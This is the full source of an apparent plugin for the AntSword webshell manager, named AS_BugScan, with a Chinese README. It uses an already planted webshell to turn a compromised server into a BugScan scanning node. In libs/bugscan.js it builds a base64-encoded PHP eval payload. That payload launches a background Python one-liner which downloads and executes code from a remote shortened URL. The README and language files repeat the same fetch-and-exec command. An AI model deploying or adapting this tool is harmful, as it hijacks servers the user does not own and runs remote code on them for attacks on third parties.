├── .gitignore
├── README.md
├── index.js
├── language
├── en.js
├── index.js
└── zh.js
├── libs
├── bugscan.js
└── ui.js
└── package.json
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_*
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # AS_BugScan
2 |
3 | > AntSword 创建 BugScan 节点插件
4 |
5 | 通过 WebShell 创建BugScan节点。
6 |
7 | ## 安装
8 |
9 | ### 商店安装
10 |
11 | 进入 AntSword 插件中心,选择 AS_BugScan,点击安装
12 |
13 | ### 手动安装
14 |
15 | 1. 获取源代码
16 |
17 | ```
18 | git clone https://github.com/Medicean/AS_BugScan.git
19 | ```
20 |
21 | 或者
22 |
23 | 点击 [这里](https://github.com/Medicean/AS_BugScan/archive/master.zip) 下载源代码,并解压。
24 |
25 | 2. 拷贝源代码至插件目录
26 |
27 | 将插件目录拷贝至 `antSword/antData/plugins/` 目录下即安装成功
28 |
29 |
30 | ## 使用
31 |
32 | 1. 在`虚拟终端`下检查 `Python2.7` 是否在环境变量中
33 |
34 | 在终端下直接输入 `python -V` 如果有输出,你可以继续进行,如果提示找不到 `python`, 请先将 `python` 添加至环境变量中。
35 |
36 | 2. 访问 [BugScan](https://www.bugscan.net) 进入扫描器。点击添加任务,在`节点`子栏下获取你个人的创建节点链接。
37 |
38 | 假如在页面显示的为:
39 |
40 | ```
41 | python -c "exec(__import__('urllib2').urlopen('http://t.cn/Rqu1SmB?xxxxxxx').read())" -m 5
42 | ```
43 | 那么在本插件 URL 部分应该填写 `urlopen` 函数部分中的 URL:
44 |
45 | ```
46 | http://t.cn/Rqu1SmB?xxxxxxx
47 | ```
48 |
49 | 3. `最大任务数` 输入框中控制一个节点能接受的最大目标数,默认为 5
50 |
51 | 4. 点击开始即可尝试创建 BugScan 节点。创建成功后,在 BugScan 添加任务页面即可看到你的节点。
52 |
53 | ## 相关链接
54 |
55 | * [AntSword 文档](http://doc.uyu.us)
56 | * [BugScan](https://www.bugscan.net)
57 | * [dhtmlx 文档](http://docs.dhtmlx.com/)
58 |
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | const UI = require('./libs/ui');
2 | const BUUGSCAN = require('./libs/bugscan');
3 |
4 | class Plugin {
5 | constructor(opts) {
6 | opts.map((opt) => {
7 | new UI(opt)
8 | .onStart((argv) => {
9 | return new BUUGSCAN(opt, argv);
10 | })
11 | })
12 | }
13 | }
14 |
15 | module.exports = Plugin;
16 |
--------------------------------------------------------------------------------
/language/en.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | title: "BugScan",
3 | success: "Create Success",
4 | error: "Create Error",
5 | tips: {
6 | label: "Make sure the variable python is defined in environment.",
7 | url: "Visit BugScan and get your node url
Input the url in urlopen function.
eg:
Your code to build BugScan nodes like this:
python -c 'exec(__import__('urllib2').urlopen('http://t.cn/Rqu1SmB?xxxxxx').read())' -m 5
then you should input:
http://t.cn/Rqu1SmB?xxxxxx",
8 | tasks: "Max tasks in the same time."
9 | },
10 | cella: {
11 | title: "Settings",
12 | start: "Start",
13 | form: {
14 | url: "Node URL",
15 | tasks: "Max Tasks"
16 | }
17 | }
18 | }
--------------------------------------------------------------------------------
/language/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const languages = {
4 | 'en': 'English',
5 | 'zh': '简体中文'
6 | }
7 |
8 | // 获取本地设置语言(如若没有,则获取浏览器语言
9 | let lang = antSword['storage']('language',
10 | false,
11 | navigator.language
12 | );
13 |
14 | // 判断本地设置语言是否符合语言模板
15 | lang = languages[lang] ? lang : 'en';
16 |
17 | // 返回语言模板
18 | let langModule = require(`./${lang}`);
19 | langModule.__languages__ = languages;
20 |
21 | module.exports = langModule;
22 |
--------------------------------------------------------------------------------
/language/zh.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | title: "创建BugScan节点",
3 | success: "创建成功",
4 | error: "创建失败",
5 | tips: {
6 | label: "使用前请先在虚拟终端下检查 python 是否在环境变量中",
7 | url: "前往 BugScan 获取节点地址。
在此处填写 urlopen 函数中的 url
eg:
在 BugScan 获取的代码为 python -c 'exec(__import__('urllib2').urlopen('http://t.cn/Rqu1SmB?xxxxxx').read())' -m 5
则此处填写的为:
http://t.cn/Rqu1SmB?xxxxxx",
8 | tasks: "该节点同一时间能够进行的最大任务数"
9 | },
10 | cella: {
11 | title: "配置",
12 | start: "开始",
13 | form: {
14 | url: "节点链接",
15 | tasks: "最大任务"
16 | }
17 | }
18 | }
--------------------------------------------------------------------------------
/libs/bugscan.js:
--------------------------------------------------------------------------------
1 | /**
2 | * 核心扫描模块
3 | */
4 |
5 | class Bugscan {
6 | constructor(opt, argv) {
7 | return new Promise((res, rej) => {
8 | // 初始化核心模块
9 | let core = new antSword['core'][opt['type']](opt);
10 | // 请求数据
11 | core.request({
12 | _: this.template[opt['type']](argv.url, argv.tasks)
13 | }).then(res)
14 | .catch((err)=>{
15 | rej(err);
16 | });
17 | });
18 | }
19 |
20 | get template() {
21 | return {
22 | php: (url, tasks) => {
23 | var funcode = `function execbg($cmd){if(substr(php_uname(),0,7)=="Windows"){$cmd=str_replace('python -c','pythonw -c',$cmd);pclose(popen("start /B ". $cmd, "r"));}else{exec($cmd." > /dev/null &");}}@execbg("python -c \\"exec(__import__('urllib2').urlopen('${url}').read())\\" -m ${tasks}");if(substr(php_uname(),0,7)=="Windows"){$cmd = "tasklist|findstr python";}else{$cmd="ps -A|grep python|grep -v grep";}@exec($cmd, $info);if($info){echo("1");}else{echo("0");}`
24 | var data = new Buffer(funcode).toString('base64');
25 | return `@eval(base64_decode("${data}"));`
26 | },
27 | asp: (url, tasks) => ``,
28 | aspx: (url, tasks) => ``
29 | }
30 | }
31 |
32 | }
33 |
34 | module.exports = Bugscan;
35 |
--------------------------------------------------------------------------------
/libs/ui.js:
--------------------------------------------------------------------------------
1 | /**
2 | * 插件UI框架
3 | */
4 |
5 | const WIN = require('ui/window');
6 | const LANG = require('../language/');
7 |
8 | class UI {
9 | constructor(opt) {
10 | // 创建一个windows窗口
11 | this.win = new WIN({
12 | title: `${LANG['title']} - ${opt['url']}`,
13 | height: 213,
14 | width: 440,
15 | });
16 | this.createMainLayout();
17 | return {
18 | onStart: (func) => {
19 | this.bindToolbarClickHandler(func);
20 | },
21 | onAbout: () => {}
22 | }
23 | }
24 |
25 | createMainLayout() {
26 | let layout = this.win.win.attachLayout('1C');
27 | // 扫描输入
28 | layout.cells('a').hideHeader();
29 | layout.cells('a').setText(` ${LANG['cella']['title']}`);
30 | // 创建toolbar
31 | this.createToolbar(layout.cells('a'));
32 | // 创建form
33 | this.createForm(layout.cells('a'));
34 |
35 | this.layout = layout;
36 | }
37 |
38 | /**
39 | * 创建扫描输入工具栏
40 | * @param {Object} cell [description]
41 | * @return {[type]} [description]
42 | */
43 | createToolbar(cell) {
44 | let toolbar = cell.attachToolbar();
45 | toolbar.loadStruct([
46 | { id: 'start', type: 'button', text: LANG['cella']['start'], icon: 'play' }
47 | ]);
48 | this.toolbar = toolbar;
49 | }
50 |
51 | /**
52 | * 创建扫描输入表单
53 | * @param {Object} cell [description]
54 | * @return {[type]} [description]
55 | */
56 | createForm(cell) {
57 | let formdata=[{
58 | type: 'settings', position: 'label-left',
59 | labelWidth: 100, inputWidth: 270
60 | }, {
61 | type: 'block', inputWidth: 'auto',
62 | offsetTop: 12,
63 | list: [{
64 | type: 'label', label: LANG['tips']['label'], labelWidth: 350
65 | },{
66 | type: 'input', label: LANG['cella']['form']['url'], name: 'url',
67 | required: true, validate:"NotEmpty",
68 | value: antSword['storage']("bugscan_url", "", "http://t.cn/Rqu1SmB?xxxxxx"),
69 | info: true,
70 | userdata: {
71 | info: LANG['tips']['url']
72 | }
73 | }, {
74 | type: 'input', label: LANG['cella']['form']['tasks'], name: 'tasks',
75 | required: true,
76 | value: antSword['storage']("bugscan_tasks", "", 5),
77 | info: true,
78 | userdata: {
79 | info: LANG['tips']['tasks']
80 | }
81 | }]
82 | }];
83 | let form = cell.attachForm(formdata, true);
84 | form.enableLiveValidation(true);
85 | form.attachEvent("onInfo", (name, e) => {
86 | var tips_popup;
87 | if(tips_popup == null){
88 | tips_popup = new dhtmlXPopup({mode: "bottom"});
89 | tips_popup.attachHTML(
90 | "" +
91 | this.form.getUserData(name, "info") +
92 | "
");
93 | var t = e.target || e.srcElement;
94 | var x = window.dhx4.absLeft(t);
95 | var y = window.dhx4.absTop(t);
96 | var w = t.offsetWidth;
97 | var h = t.offsetHeight;
98 | tips_popup.show(x,y,w,h);
99 | }
100 | });
101 | this.form = form;
102 | }
103 |
104 | /**
105 | * 监听开始按钮点击事件
106 | * @param {Function} callback [description]
107 | * @return {[type]} [description]
108 | */
109 | bindToolbarClickHandler(callback) {
110 | this.toolbar.attachEvent('onClick', (id) => {
111 | switch (id) {
112 | case 'start':
113 | // 加载中
114 | this.win.win.progressOn();
115 | // 获取FORM表单
116 | let formvals = this.form.getValues();
117 | antSword['storage']('bugscan_url', formvals['url']);
118 | antSword['storage']('bugscan_tasks', formvals['tasks']);
119 | // 传递给扫描核心代码
120 | callback({
121 | url: formvals['url'],
122 | tasks: formvals['tasks']
123 | }).then((ret) => {
124 | // 解析扫描结果
125 | if (ret.text == "0") {
126 | toastr.error(LANG['error'], antSword['language']['toastr']['error']);
127 | }else{
128 | toastr.success(LANG['success'], antSword['language']['toastr']['success']);
129 | }
130 | // 取消锁定LOADING
131 | this.win.win.progressOff();
132 | })
133 | .catch((err) => {
134 | toastr.error(LANG['error'], antSword['language']['toastr']['error']);
135 | this.win.win.progressOff();
136 | });
137 | break;
138 | default:
139 | }
140 | })
141 | }
142 | }
143 |
144 | module.exports = UI;
145 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "BugScan 插件",
3 | "name_en": "AS_BugScan",
4 | "main": "index.js",
5 | "icon": "search",
6 | "version": "0.1",
7 | "description": "通过 Webshell 创建 BugScan 节点",
8 | "description_en": "Create your bugscan node with webshell",
9 | "author": {
10 | "name": "Medici.Yan",
11 | "email": "Medici.Yan@gmail.com"
12 | },
13 | "category": "内网工具",
14 | "category_en": "Intranet",
15 | "multiple": true,
16 | "scripts": ["php"]
17 | }
18 |
--------------------------------------------------------------------------------